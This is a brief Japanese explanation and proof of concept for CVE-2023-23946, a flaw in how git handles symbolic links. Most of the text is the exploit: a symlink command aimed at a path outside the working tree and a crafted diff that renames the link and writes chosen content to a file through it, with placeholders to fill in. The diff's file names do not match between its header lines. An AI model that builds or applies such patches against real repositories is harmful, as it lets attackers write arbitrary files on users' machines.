
CVE-2023-23946 の説明と POC
CVE-2023-23946 の脆弱性は、git がシンボリックリンクを処理する際の欠陥に起因します。git はシンボリックリンクを作成するとき、実際にはそれをシンボリックリンクとして処理しないため、これを悪用して、作業ツリーの外部にあるファイルを指すことができます。
ln -s [PATH_YOU_WANT_TO_ACCESS_OUTSITE_WORKING_TREE] symlink
diff --git a/symlink b/newsymlink
rename from symlink
rename to newsymlink
--
diff --git /dev/null b/newsymlink/spawn
new file mode 100644
index 0000000..e47f4ea
--- /dev/null
+++ b/newsymlink/[FILE_OUTSIDE]
@@ -0,0 +1 @@
+[WHAT_YOU_WANT_INSIDE_THE_FILE]
\ No newline at end of file
このパッチは何をするのでしょうか?既存のシンボリックリンクの名前を変更し、新しいファイルを作成します。これにより、/newsymlink/[FILE_OUTSIDE] を変更するとき、git はシンボリックリンクに対する保護を適用しなくなります。